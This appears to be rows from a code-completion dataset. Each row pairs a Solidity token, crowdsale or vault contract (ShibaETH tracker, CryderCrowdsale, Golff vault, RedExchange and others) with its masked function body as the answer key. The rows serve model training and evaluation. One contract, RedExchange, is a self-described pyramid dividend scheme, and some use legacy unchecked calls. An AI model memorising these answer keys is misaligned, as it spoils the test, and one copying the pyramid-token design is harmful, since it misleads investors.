source_idx
stringlengths
1
5
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
6
324k
signature_only
stringlengths
11
2.47k
signature_extend
stringlengths
11
8.95k
33890
ShibaETHDividendTracker
setBalance
contract ShibaETHDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 200000 * (10**18); // Must hold 200,000+ tokens. event ExcludedFromDividends(address indexed account); event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("ShibaETH_Dividend_Tracker", "ShibaETH_Dividend_Tracker") { claimWait = 3600; } function _transfer(address, address, uint256) internal pure override { require(false, "ShibaETH_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public pure override { require(false, "ShibaETH_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main ShibaETH contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludedFromDividends(account); } function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner { require(newGasForTransfer != gasForTransfer, "ShibaETH_Dividend_Tracker: Cannot update gasForTransfer to same value"); emit GasForTransferUpdated(newGasForTransfer, gasForTransfer); gasForTransfer = newGasForTransfer; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "ShibaETH_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "ShibaETH_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if (index >= 0) { if (uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if (index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if (lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } function setBalance(address payable account, uint256 newBalance) external onlyOwner {<FILL_FUNCTION_BODY> } function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if (numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while (gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if (_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if (canAutoClaim(lastClaimTimes[account])) { if (processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if (gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if (amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
contract ShibaETHDividendTracker is DividendPayingToken, Ownable { using SafeMath for uint256; using SafeMathInt for int256; using IterableMapping for IterableMapping.Map; IterableMapping.Map private tokenHoldersMap; uint256 public lastProcessedIndex; mapping (address => bool) public excludedFromDividends; mapping (address => uint256) public lastClaimTimes; uint256 public claimWait; uint256 public constant MIN_TOKEN_BALANCE_FOR_DIVIDENDS = 200000 * (10**18); // Must hold 200,000+ tokens. event ExcludedFromDividends(address indexed account); event GasForTransferUpdated(uint256 indexed newValue, uint256 indexed oldValue); event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue); event Claim(address indexed account, uint256 amount, bool indexed automatic); constructor() DividendPayingToken("ShibaETH_Dividend_Tracker", "ShibaETH_Dividend_Tracker") { claimWait = 3600; } function _transfer(address, address, uint256) internal pure override { require(false, "ShibaETH_Dividend_Tracker: No transfers allowed"); } function withdrawDividend() public pure override { require(false, "ShibaETH_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main ShibaETH contract."); } function excludeFromDividends(address account) external onlyOwner { require(!excludedFromDividends[account]); excludedFromDividends[account] = true; _setBalance(account, 0); tokenHoldersMap.remove(account); emit ExcludedFromDividends(account); } function updateGasForTransfer(uint256 newGasForTransfer) external onlyOwner { require(newGasForTransfer != gasForTransfer, "ShibaETH_Dividend_Tracker: Cannot update gasForTransfer to same value"); emit GasForTransferUpdated(newGasForTransfer, gasForTransfer); gasForTransfer = newGasForTransfer; } function updateClaimWait(uint256 newClaimWait) external onlyOwner { require(newClaimWait >= 3600 && newClaimWait <= 86400, "ShibaETH_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours"); require(newClaimWait != claimWait, "ShibaETH_Dividend_Tracker: Cannot update claimWait to same value"); emit ClaimWaitUpdated(newClaimWait, claimWait); claimWait = newClaimWait; } function getLastProcessedIndex() external view returns(uint256) { return lastProcessedIndex; } function getNumberOfTokenHolders() external view returns(uint256) { return tokenHoldersMap.keys.length; } function getAccount(address _account) public view returns ( address account, int256 index, int256 iterationsUntilProcessed, uint256 withdrawableDividends, uint256 totalDividends, uint256 lastClaimTime, uint256 nextClaimTime, uint256 secondsUntilAutoClaimAvailable) { account = _account; index = tokenHoldersMap.getIndexOfKey(account); iterationsUntilProcessed = -1; if (index >= 0) { if (uint256(index) > lastProcessedIndex) { iterationsUntilProcessed = index.sub(int256(lastProcessedIndex)); } else { uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ? tokenHoldersMap.keys.length.sub(lastProcessedIndex) : 0; iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray)); } } withdrawableDividends = withdrawableDividendOf(account); totalDividends = accumulativeDividendOf(account); lastClaimTime = lastClaimTimes[account]; nextClaimTime = lastClaimTime > 0 ? lastClaimTime.add(claimWait) : 0; secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ? nextClaimTime.sub(block.timestamp) : 0; } function getAccountAtIndex(uint256 index) public view returns ( address, int256, int256, uint256, uint256, uint256, uint256, uint256) { if (index >= tokenHoldersMap.size()) { return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0); } address account = tokenHoldersMap.getKeyAtIndex(index); return getAccount(account); } function canAutoClaim(uint256 lastClaimTime) private view returns (bool) { if (lastClaimTime > block.timestamp) { return false; } return block.timestamp.sub(lastClaimTime) >= claimWait; } <FILL_FUNCTION> function process(uint256 gas) public returns (uint256, uint256, uint256) { uint256 numberOfTokenHolders = tokenHoldersMap.keys.length; if (numberOfTokenHolders == 0) { return (0, 0, lastProcessedIndex); } uint256 _lastProcessedIndex = lastProcessedIndex; uint256 gasUsed = 0; uint256 gasLeft = gasleft(); uint256 iterations = 0; uint256 claims = 0; while (gasUsed < gas && iterations < numberOfTokenHolders) { _lastProcessedIndex++; if (_lastProcessedIndex >= tokenHoldersMap.keys.length) { _lastProcessedIndex = 0; } address account = tokenHoldersMap.keys[_lastProcessedIndex]; if (canAutoClaim(lastClaimTimes[account])) { if (processAccount(payable(account), true)) { claims++; } } iterations++; uint256 newGasLeft = gasleft(); if (gasLeft > newGasLeft) { gasUsed = gasUsed.add(gasLeft.sub(newGasLeft)); } gasLeft = newGasLeft; } lastProcessedIndex = _lastProcessedIndex; return (iterations, claims, lastProcessedIndex); } function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) { uint256 amount = _withdrawDividendOfUser(account); if (amount > 0) { lastClaimTimes[account] = block.timestamp; emit Claim(account, amount, automatic); return true; } return false; } }
if (excludedFromDividends[account]) { return; } if (newBalance >= MIN_TOKEN_BALANCE_FOR_DIVIDENDS) { _setBalance(account, newBalance); tokenHoldersMap.set(account, newBalance); } else { _setBalance(account, 0); tokenHoldersMap.remove(account); } processAccount(account, true);
function setBalance(address payable account, uint256 newBalance) external onlyOwner
function setBalance(address payable account, uint256 newBalance) external onlyOwner
19033
CryderCrowdsale
setExchangeRate
contract CryderCrowdsale is Ownable { // Use SafeMath library to provide methods for uint256-type vars. using SafeMath for uint256; // The hardcoded address of wallet address public wallet; // The address of presale token CryderToken public presaleToken; // The address of sale token CryderToken public token; // Bounty must be allocated only once bool public isBountyAllocated = false; // Requested tokens array mapping(address => bool) tokenRequests; /** * @dev Variables * * @public START_TIME uint the time of the start of the sale * @public CLOSE_TIME uint the time of the end of the sale * @public HARDCAP uint256 if @HARDCAP is reached, sale stops * @public exchangeRate the amount of indivisible quantities (=10^18 CRYDER) given for 1 wei * @public bounty the address of bounty manager */ uint public START_TIME = 1516467600; uint public CLOSE_TIME = 1519146000; uint256 public HARDCAP = 400000000000000000000000000; uint256 public exchangeRate = 3000; address public bounty = 0xa258Eb1817aA122acBa4Af66A7A064AE6E10552A; /** * Fallback function * @dev The contracts are prevented from using fallback function. * That prevents loosing control of tokens that will eventually get attributed to the contract, not the user. * To buy tokens from the wallet (that is a contract) user has to specify beneficiary of tokens using buyTokens method. */ function () payable public { require(msg.sender == tx.origin); buyTokens(msg.sender); } /** * @dev A function to withdraw all funds. * Normally, contract should not have ether at all. */ function withdraw() onlyOwner public { wallet.transfer(this.balance); } /** * @dev The constructor sets the tokens address * @param _token address */ function CryderCrowdsale(address _presaleToken, address _token, address _wallet) public { presaleToken = CryderToken(_presaleToken); token = CryderToken(_token); wallet = _wallet; } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @dev Sets the start and end of the sale. * @param _start uint256 start of the sale. * @param _close uint256 end of the sale. */ function setTime(uint _start, uint _close) public onlyOwner { require( _start < _close ); START_TIME = _start; CLOSE_TIME = _close; } /** * @dev Sets exhange rate, ie amount of tokens (10^18 CRYDER) for 1 wei. * @param _exchangeRate uint256 new exhange rate. */ function setExchangeRate(uint256 _exchangeRate) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Buy tokens for all sent ether. Tokens will be added to beneficiary's account * @param beneficiary address the owner of bought tokens. */ function buyTokens(address beneficiary) payable public { uint256 total = token.totalSupply(); uint256 amount = msg.value; require(amount > 0); // Check that hardcap not reached, and sale-time. require(total < HARDCAP); require(now >= START_TIME); require(now < CLOSE_TIME); // Override exchange rate for daily bonuses if (now < START_TIME + 3600 * 24 * 1) { exchangeRate = 3900; } else if (now < START_TIME + 3600 * 24 * 3) { exchangeRate = 3750; } else if (now < START_TIME + 3600 * 24 * 5) { exchangeRate = 3600; } else { exchangeRate = 3000; } // Mint tokens bought for all sent ether to beneficiary uint256 tokens = amount.mul(exchangeRate); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, amount, tokens); // Mint 8% tokens to wallet as a team part uint256 teamTokens = tokens / 100 * 8; token.mint(wallet, teamTokens); // Finally, sent all the money to wallet wallet.transfer(amount); } /** * @dev One time command to allocate 5kk bounty tokens */ function allocateBounty() public returns (bool) { // Check for bounty manager and allocation state require(msg.sender == bounty && isBountyAllocated == false); // Mint bounty tokens to bounty managers address token.mint(bounty, 5000000000000000000000000); isBountyAllocated = true; return true; } function requestTokens() public returns (bool) { require(presaleToken.balanceOf(msg.sender) > 0 && tokenRequests[msg.sender] == false); token.mint(msg.sender, presaleToken.balanceOf(msg.sender)); tokenRequests[msg.sender] = true; return true; } }
contract CryderCrowdsale is Ownable { // Use SafeMath library to provide methods for uint256-type vars. using SafeMath for uint256; // The hardcoded address of wallet address public wallet; // The address of presale token CryderToken public presaleToken; // The address of sale token CryderToken public token; // Bounty must be allocated only once bool public isBountyAllocated = false; // Requested tokens array mapping(address => bool) tokenRequests; /** * @dev Variables * * @public START_TIME uint the time of the start of the sale * @public CLOSE_TIME uint the time of the end of the sale * @public HARDCAP uint256 if @HARDCAP is reached, sale stops * @public exchangeRate the amount of indivisible quantities (=10^18 CRYDER) given for 1 wei * @public bounty the address of bounty manager */ uint public START_TIME = 1516467600; uint public CLOSE_TIME = 1519146000; uint256 public HARDCAP = 400000000000000000000000000; uint256 public exchangeRate = 3000; address public bounty = 0xa258Eb1817aA122acBa4Af66A7A064AE6E10552A; /** * Fallback function * @dev The contracts are prevented from using fallback function. * That prevents loosing control of tokens that will eventually get attributed to the contract, not the user. * To buy tokens from the wallet (that is a contract) user has to specify beneficiary of tokens using buyTokens method. */ function () payable public { require(msg.sender == tx.origin); buyTokens(msg.sender); } /** * @dev A function to withdraw all funds. * Normally, contract should not have ether at all. */ function withdraw() onlyOwner public { wallet.transfer(this.balance); } /** * @dev The constructor sets the tokens address * @param _token address */ function CryderCrowdsale(address _presaleToken, address _token, address _wallet) public { presaleToken = CryderToken(_presaleToken); token = CryderToken(_token); wallet = _wallet; } /** * event for token purchase logging * @param purchaser who paid for the tokens * @param beneficiary who got the tokens * @param value weis paid for purchase * @param amount amount of tokens purchased */ event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); /** * @dev Sets the start and end of the sale. * @param _start uint256 start of the sale. * @param _close uint256 end of the sale. */ function setTime(uint _start, uint _close) public onlyOwner { require( _start < _close ); START_TIME = _start; CLOSE_TIME = _close; } <FILL_FUNCTION> /** * @dev Buy tokens for all sent ether. Tokens will be added to beneficiary's account * @param beneficiary address the owner of bought tokens. */ function buyTokens(address beneficiary) payable public { uint256 total = token.totalSupply(); uint256 amount = msg.value; require(amount > 0); // Check that hardcap not reached, and sale-time. require(total < HARDCAP); require(now >= START_TIME); require(now < CLOSE_TIME); // Override exchange rate for daily bonuses if (now < START_TIME + 3600 * 24 * 1) { exchangeRate = 3900; } else if (now < START_TIME + 3600 * 24 * 3) { exchangeRate = 3750; } else if (now < START_TIME + 3600 * 24 * 5) { exchangeRate = 3600; } else { exchangeRate = 3000; } // Mint tokens bought for all sent ether to beneficiary uint256 tokens = amount.mul(exchangeRate); token.mint(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, amount, tokens); // Mint 8% tokens to wallet as a team part uint256 teamTokens = tokens / 100 * 8; token.mint(wallet, teamTokens); // Finally, sent all the money to wallet wallet.transfer(amount); } /** * @dev One time command to allocate 5kk bounty tokens */ function allocateBounty() public returns (bool) { // Check for bounty manager and allocation state require(msg.sender == bounty && isBountyAllocated == false); // Mint bounty tokens to bounty managers address token.mint(bounty, 5000000000000000000000000); isBountyAllocated = true; return true; } function requestTokens() public returns (bool) { require(presaleToken.balanceOf(msg.sender) > 0 && tokenRequests[msg.sender] == false); token.mint(msg.sender, presaleToken.balanceOf(msg.sender)); tokenRequests[msg.sender] = true; return true; } }
require(now < START_TIME); exchangeRate = _exchangeRate;
function setExchangeRate(uint256 _exchangeRate) public onlyOwner
/** * @dev Sets exhange rate, ie amount of tokens (10^18 CRYDER) for 1 wei. * @param _exchangeRate uint256 new exhange rate. */ function setExchangeRate(uint256 _exchangeRate) public onlyOwner
53317
BCFBuyMarket
createCardForAcquiredPlayer
contract BCFBuyMarket is BCFData { address public buyingEscrowAddress; bool public isBCFBuyMarket = true; function setBuyingEscrowAddress(address _address) external onlyOwner { buyingEscrowAddress = _address; } function createCardForAcquiredPlayer(uint playerId, address newOwner) public whenNotPaused returns (uint) {<FILL_FUNCTION_BODY> } function createCardForAcquiredPlayers(uint[] playerIds, address newOwner) public whenNotPaused returns (uint[]) { require(buyingEscrowAddress != address(0)); require(newOwner != address(0)); require(buyingEscrowAddress == msg.sender); uint[] memory cardIds = new uint[](playerIds.length); // Create the players and store an array of their Ids for (uint i = 0; i < playerIds.length; i++) { uint cardId = createPlayerCard(playerIds[i], newOwner, false); cardIds[i] = cardId; } return cardIds; } }
contract BCFBuyMarket is BCFData { address public buyingEscrowAddress; bool public isBCFBuyMarket = true; function setBuyingEscrowAddress(address _address) external onlyOwner { buyingEscrowAddress = _address; } <FILL_FUNCTION> function createCardForAcquiredPlayers(uint[] playerIds, address newOwner) public whenNotPaused returns (uint[]) { require(buyingEscrowAddress != address(0)); require(newOwner != address(0)); require(buyingEscrowAddress == msg.sender); uint[] memory cardIds = new uint[](playerIds.length); // Create the players and store an array of their Ids for (uint i = 0; i < playerIds.length; i++) { uint cardId = createPlayerCard(playerIds[i], newOwner, false); cardIds[i] = cardId; } return cardIds; } }
require(buyingEscrowAddress != address(0)); require(newOwner != address(0)); require(buyingEscrowAddress == msg.sender); uint cardId = createPlayerCard(playerId, newOwner, false); return cardId;
function createCardForAcquiredPlayer(uint playerId, address newOwner) public whenNotPaused returns (uint)
function createCardForAcquiredPlayer(uint playerId, address newOwner) public whenNotPaused returns (uint)
38700
GOFVaultV2YCRV
balance
contract GOFVaultV2YCRV is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; uint public earnLowerlimit; //池内空余资金到这个值就自动earn address public governance; address public controller; constructor () public ERC20Detailed( "golff Curve.fi yCRV", "G-V2yCRV", 18 ) { token = IERC20(address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8)); governance = tx.origin; controller = 0x5055cfADfbF9927deD44c183979085e2eC79Ed9d; earnLowerlimit = 0; } function balance() public view returns (uint) {<FILL_FUNCTION_BODY> } function setMin(uint _min) external { require(msg.sender == governance, "Golff:!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "Golff:!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "Golff:!governance"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "Golff:!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); if (token.balanceOf(address(this))>earnLowerlimit){ earn(); } } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } }
contract GOFVaultV2YCRV is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; IERC20 public token; uint public min = 9500; uint public constant max = 10000; uint public earnLowerlimit; //池内空余资金到这个值就自动earn address public governance; address public controller; constructor () public ERC20Detailed( "golff Curve.fi yCRV", "G-V2yCRV", 18 ) { token = IERC20(address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8)); governance = tx.origin; controller = 0x5055cfADfbF9927deD44c183979085e2eC79Ed9d; earnLowerlimit = 0; } <FILL_FUNCTION> function setMin(uint _min) external { require(msg.sender == governance, "Golff:!governance"); min = _min; } function setGovernance(address _governance) public { require(msg.sender == governance, "Golff:!governance"); governance = _governance; } function setController(address _controller) public { require(msg.sender == governance, "Golff:!governance"); controller = _controller; } function setEarnLowerlimit(uint256 _earnLowerlimit) public{ require(msg.sender == governance, "Golff:!governance"); earnLowerlimit = _earnLowerlimit; } // Custom logic in here for how much the vault allows to be borrowed // Sets minimum required on-hand to keep small withdrawals cheap function available() public view returns (uint) { return token.balanceOf(address(this)).mul(min).div(max); } function earn() public { uint _bal = available(); token.safeTransfer(controller, _bal); Controller(controller).earn(address(token), _bal); } function depositAll() external { deposit(token.balanceOf(msg.sender)); } function deposit(uint _amount) public { uint _pool = balance(); uint _before = token.balanceOf(address(this)); token.safeTransferFrom(msg.sender, address(this), _amount); uint _after = token.balanceOf(address(this)); _amount = _after.sub(_before); // Additional check for deflationary tokens uint shares = 0; if (totalSupply() == 0) { shares = _amount; } else { shares = (_amount.mul(totalSupply())).div(_pool); } _mint(msg.sender, shares); if (token.balanceOf(address(this))>earnLowerlimit){ earn(); } } function withdrawAll() external { withdraw(balanceOf(msg.sender)); } // No rebalance implementation for lower fees and faster swaps function withdraw(uint _shares) public { uint r = (balance().mul(_shares)).div(totalSupply()); _burn(msg.sender, _shares); // Check balance uint b = token.balanceOf(address(this)); if (b < r) { uint _withdraw = r.sub(b); Controller(controller).withdraw(address(token), _withdraw); uint _after = token.balanceOf(address(this)); uint _diff = _after.sub(b); if (_diff < _withdraw) { r = b.add(_diff); } } token.safeTransfer(msg.sender, r); } function getPricePerFullShare() public view returns (uint) { return balance().mul(1e18).div(totalSupply()); } }
return token.balanceOf(address(this)) .add(Controller(controller).balanceOf(address(token)));
function balance() public view returns (uint)
function balance() public view returns (uint)
31812
SLRC
SLRC
contract SLRC is StandardToken, Ownable { string public constant name = "富硒链(SLRC)"; string public constant symbol = "SLRC"; uint256 public constant decimals = 8; function SLRC() public {<FILL_FUNCTION_BODY> } function () public { revert(); } }
contract SLRC is StandardToken, Ownable { string public constant name = "富硒链(SLRC)"; string public constant symbol = "SLRC"; uint256 public constant decimals = 8; <FILL_FUNCTION> function () public { revert(); } }
owner = msg.sender; totalSupply=300000000000000000; balances[owner]=totalSupply;
function SLRC() public
function SLRC() public
38948
BIToken
BIToken
contract BIToken is PausableToken { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = "Coin of biWallet"; string public symbol = "BI"; string public version = '1.0.0'; uint8 public decimals = 18; uint256 public supplyLimit = 21000000000 * (10 ** uint256(decimals)); /** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function BIToken() public {<FILL_FUNCTION_BODY> } function () public { //if ether is sent to this address, send it back. revert(); } }
contract BIToken is PausableToken { /** * Public variables of the token * The following variables are OPTIONAL vanities. One does not have to include them. * They allow one to customise the token contract & in no way influences the core functionality. * Some wallets/interfaces might not even bother to look at this information. */ string public name = "Coin of biWallet"; string public symbol = "BI"; string public version = '1.0.0'; uint8 public decimals = 18; uint256 public supplyLimit = 21000000000 * (10 ** uint256(decimals)); <FILL_FUNCTION> function () public { //if ether is sent to this address, send it back. revert(); } }
totalSupply = supplyLimit; balances[msg.sender] = supplyLimit; // Give the creator all initial tokens
function BIToken() public
/** * @dev Function to check the amount of tokens that an owner allowed to a spender. */ function BIToken() public
75257
RedExchange
transfer
contract RedExchange { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // only people with profits modifier onlyStronghands() { require(myDividends(true) > 0); _; } modifier notContract() { require (msg.sender == tx.origin); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (How many tokens it costs to hold a masternode, in case it gets crazy high later) // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator(){ address _customerAddress = msg.sender; require(administrators[_customerAddress]); _; } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event onTokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event onReinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event onWithdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); // ERC20 event Transfer( address indexed from, address indexed to, uint256 tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "RedStreetExchange"; string public symbol = "XRED"; uint8 constant public decimals = 18; uint256 constant internal tokenPriceInitial_ = 0.00000001 ether; uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether; uint256 constant internal magnitude = 2**64; uint256 public totalEthFundRecieved; // total ETH charity recieved from this contract uint256 public totalEthFundCollected; // total ETH charity collected in this contract // proof of stake (defaults at 25 tokens) uint256 public stakingRequirement = 25e18; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 2.5 ether; uint256 constant internal ambassadorQuota_ = 2.5 ether; bool public contractActive = false; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; uint8 internal dividendFee_ = 20; // 20% dividend fee on each buy and sell uint8 internal fundFee_ = 5; // 5% bond fund fee on each buy and sell uint8 internal altFundFee_ = 0; // Fund fee rate on each buy and sell for future game // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // Special Red Street Platform control from scam game contracts on Red Street platform mapping(address => bool) public canAcceptTokens_; // contracts, which can accept XRED tokens mapping(address => address) public stickyRef; address public bondFundAddress = 0xbc02f77cc33b705cf1f961dc2859bc0fc1805eca; //Bond Fund address public altFundAddress = 0xbc02f77cc33b705cf1f961dc2859bc0fc1805eca; //Alternate Fund for Future Game /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ function RedExchange() public { // add administrators here administrators[msg.sender] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral addy (if any) */ function buy(address _referredBy) public payable returns(uint256) { purchaseTokens(msg.value, _referredBy); } /** * Fallback function to handle ethereum that was send straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { purchaseTokens(msg.value, 0x0); } /** * Sends Bond Fund ether to the bond contract * */ function payFund() payable public onlyAdministrator() { uint256 _bondEthToPay = 0; uint256 ethToPay = SafeMath.sub(totalEthFundCollected, totalEthFundRecieved); require(ethToPay > 1); uint256 altEthToPay = SafeMath.div(SafeMath.mul(ethToPay,fundFee_),100); if (fundFee_ > 0){ _bondEthToPay = SafeMath.sub(ethToPay,altEthToPay); } else{ _bondEthToPay = 0; } totalEthFundRecieved = SafeMath.add(totalEthFundRecieved, ethToPay); if(!bondFundAddress.call.value(_bondEthToPay).gas(400000)()) { totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, _bondEthToPay); } if(altEthToPay > 0){ if(!altFundAddress.call.value(altEthToPay).gas(400000)()) { totalEthFundRecieved = SafeMath.sub(totalEthFundRecieved, altEthToPay); } } } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyStronghands() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually address _customerAddress = msg.sender; payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, 0x0); // fire event onReinvestment(_customerAddress, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyStronghands() public { // setup data address _customerAddress = msg.sender; uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // lambo delivery service 